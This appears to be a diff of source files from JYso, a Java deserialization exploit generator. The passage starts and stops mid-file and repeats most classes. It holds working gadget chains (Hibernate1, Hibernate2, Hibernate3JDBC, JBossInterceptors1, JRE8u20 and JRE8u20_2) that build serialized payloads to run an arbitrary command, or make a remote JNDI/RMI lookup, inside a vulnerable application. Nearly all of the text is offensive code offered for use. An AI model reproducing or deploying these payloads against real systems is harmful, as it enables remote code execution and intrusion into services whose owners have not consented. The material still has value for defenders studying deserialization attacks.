PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t
});
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return makeMap(v1, v2);
}
public Object getObject(String command) throws Exception {
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.hibernate.EntityMode;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
* <p>
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Authors({Authors.MBECHLER})
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies() {
if (System.getProperty("hibernate5") != null) {
return new String[]{
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2"
};
}
return new String[]{
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
};
}
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
if (System.getProperty("hibernate5") != null) {
return makeHibernate5Getter(tplClass, method);
}
return makeHibernate4Getter(tplClass, method);
}
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon);
if (!method.startsWith("get")) {
throw new IllegalArgumentException("Hibernate4 can only call getters");
}
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
static Object makeCaller(Object tpl, Object getters) throws
Exception {
if (System.getProperty("hibernate3") != null) {
return makeHibernate3Caller(tpl, getters);
}
return makeHibernate45Caller(tpl, getters);
}
static Object makeHibernate45Caller(Object tpl, Object getters) throws
Exception {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t
});
TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return makeMap(v1, v2);
}
static Object makeHibernate3Caller(Object tpl, Object getters) throws
Exception {
// Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t
});
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return makeMap(v1, v2);
}
public Object getObject(String command) throws Exception {
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
}
}
@@ -1,56 +1,56 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.sun.rowset.JdbcRowSetImpl;
/**
* Another application filter bypass
* <p>
* Needs a getter invocation that is provided by hibernate here
* <p>
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
* <p>
* <p>
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
* <p>
* Arg:
* - JNDI name (i.e. rmi:<host>)
* <p>
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Authors({Authors.MBECHLER})
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies() {
return Hibernate1.getDependencies();
}
public Object getObject(String command) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command);
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.sun.rowset.JdbcRowSetImpl;
/**
* Another application filter bypass
* <p>
* Needs a getter invocation that is provided by hibernate here
* <p>
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
* <p>
* <p>
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
* <p>
* Arg:
* - JNDI name (i.e. rmi:<host>)
* <p>
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Authors({Authors.MBECHLER})
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies() {
return Hibernate1.getDependencies();
}
public Object getObject(String command) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command);
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
}
}
@@ -1,52 +1,52 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings({"unused"})
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Authors({Authors.UNAM4})
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
CtClass serializable = pool.get("java.io.Serializable");
driverconimpl.addInterface(serializable);
insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
insertField(driverconimpl, "url", "private String url;");
insertField(driverconimpl, "poolSize", "private int poolSize;");
insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
CtMethod make = CtMethod.make(
"public void configure(java.util.Map configurationValues) { " +
"this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
"this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
"this.pool = new java.util.ArrayList();" +
"}", driverconimpl);
driverconimpl.addMethod(make);
Class<?> clazz = driverconimpl.toClass();
Object o1 = clazz.newInstance();
HashMap<Object, Object> map1 = new HashMap<>();
map1.put("hibernate.connection.url", command);
map1.put("hibernate.connection.pool_size", "0");
clazz.getMethod("configure", Map.class).invoke(o1, map1);
return getFastjsonSink(o1);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings({"unused"})
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Authors({Authors.UNAM4})
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
CtClass serializable = pool.get("java.io.Serializable");
driverconimpl.addInterface(serializable);
insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
insertField(driverconimpl, "url", "private String url;");
insertField(driverconimpl, "poolSize", "private int poolSize;");
insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
CtMethod make = CtMethod.make(
"public void configure(java.util.Map configurationValues) { " +
"this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
"this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
"this.pool = new java.util.ArrayList();" +
"}", driverconimpl);
driverconimpl.addMethod(make);
Class<?> clazz = driverconimpl.toClass();
Object o1 = clazz.newInstance();
HashMap<Object, Object> map1 = new HashMap<>();
map1.put("hibernate.connection.url", command);
map1.put("hibernate.connection.pool_size", "0");
clazz.getMethod("configure", Map.class).invoke(o1, map1);
return getFastjsonSink(o1);
}
}
@@ -1,18 +1,18 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
@SuppressWarnings({"unused"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER})
public class JBossInterceptors1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
@SuppressWarnings({"unused"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER})
public class JBossInterceptors1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
}
}
+106 -106
View File
@@ -1,106 +1,106 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.jre.*;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.Starter.JYsoMode;
@SuppressWarnings({"rawtypes", "unused"})
@Dependencies
@Authors({"frohoff"})
public class JRE8u20 implements ObjectPayload<Object> {
public static Object makeTemplates(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
return templates;
}
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
TCObject handler = new TCObject(ser) {
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
super.doWrite(new DataOutputStream(byteout), handles);
byte[] bytes = byteout.toByteArray();
out.write(bytes, 0, bytes.length - 1);
}
};
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
desc.addField(new TCClassDesc.Field("type", Class.class));
TCObject.ObjectData data = new TCObject.ObjectData();
data.addData(map);
data.addData(Templates.class);
handler.addClassDescData(desc, data);
return handler;
}
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
beanContextSupportData.addData(1);
beanContextSupportData.addData(handler);
beanContextSupportData.addData(0, true);
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
beanContextChildSupportData.addData(obj);
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
return obj;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
}
public Object getObject(String command) throws Exception {
Serialization ser = new Serialization();
Object templates = makeTemplates(command);
HashMap<Object, Object> map = new HashMap<>();
map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(10, true);
hashsetData.addData(1.0F, true);
hashsetData.addData(2, true);
hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset);
if (JYsoMode) {
ser.write(System.out);
System.exit(0);
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ser.write(out);
return out.toByteArray();
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.jre.*;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.Starter.JYsoMode;
@SuppressWarnings({"rawtypes", "unused"})
@Dependencies
@Authors({"frohoff"})
public class JRE8u20 implements ObjectPayload<Object> {
public static Object makeTemplates(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
return templates;
}
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
TCObject handler = new TCObject(ser) {
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
super.doWrite(new DataOutputStream(byteout), handles);
byte[] bytes = byteout.toByteArray();
out.write(bytes, 0, bytes.length - 1);
}
};
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
desc.addField(new TCClassDesc.Field("type", Class.class));
TCObject.ObjectData data = new TCObject.ObjectData();
data.addData(map);
data.addData(Templates.class);
handler.addClassDescData(desc, data);
return handler;
}
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
beanContextSupportData.addData(1);
beanContextSupportData.addData(handler);
beanContextSupportData.addData(0, true);
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
beanContextChildSupportData.addData(obj);
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
return obj;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
}
public Object getObject(String command) throws Exception {
Serialization ser = new Serialization();
Object templates = makeTemplates(command);
HashMap<Object, Object> map = new HashMap<>();
map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(10, true);
hashsetData.addData(1.0F, true);
hashsetData.addData(2, true);
hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset);
if (JYsoMode) {
ser.write(System.out);
System.exit(0);
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ser.write(out);
return out.toByteArray();
}
}
@@ -1,73 +1,73 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.ByteUtil;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Serializer;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class JRE8u20_2 implements ObjectPayload<Object> {
public static Class newInvocationHandlerClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" +
" }", clazz);
clazz.addMethod(writeObject);
return clazz.toClass();
}
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
Class ihClass = newInvocationHandlerClass();
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
Reflections.setFieldValue(ih, "type", Templates.class);
Templates proxy = createProxy(ih, Templates.class);
BeanContextSupport b = new BeanContextSupport();
Reflections.setFieldValue(b, "serializable", 1);
HashMap tmpMap = new HashMap<>();
tmpMap.put(ih, null);
Reflections.setFieldValue(b, "children", tmpMap);
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
set.add(b);
set.add(templates);
set.add(proxy);
HashMap hm = new HashMap();
hm.put("f5a5a608", templates);
Reflections.setFieldValue(ih, "memberValues", hm);
byte[] ser = Serializer.serialize(set);
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
return ser;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.ByteUtil;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Serializer;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class JRE8u20_2 implements ObjectPayload<Object> {
public static Class newInvocationHandlerClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" +
" }", clazz);
clazz.addMethod(writeObject);
return clazz.toClass();
}
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
Class ihClass = newInvocationHandlerClass();
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
Reflections.setFieldValue(ih, "type", Templates.class);
Templates proxy = createProxy(ih, Templates.class);
BeanContextSupport b = new BeanContextSupport();
Reflections.setFieldValue(b, "serializable", 1);
HashMap tmpMap = new HashMap<>();
tmpMap.put(ih, null);
Reflections.setFieldValue(b, "children", tmpMap);
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
set.add(b);
set.add(templates);
set.add(proxy);
HashMap hm = new HashMap();
hm.put("f5a5a608", templates);
Reflections.setFieldValue(ih, "memberValues", hm);
byte[] ser = Serializer.serialize(set);
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
return ser;
}
}
@@ -1,66 +1,66 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
/**
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
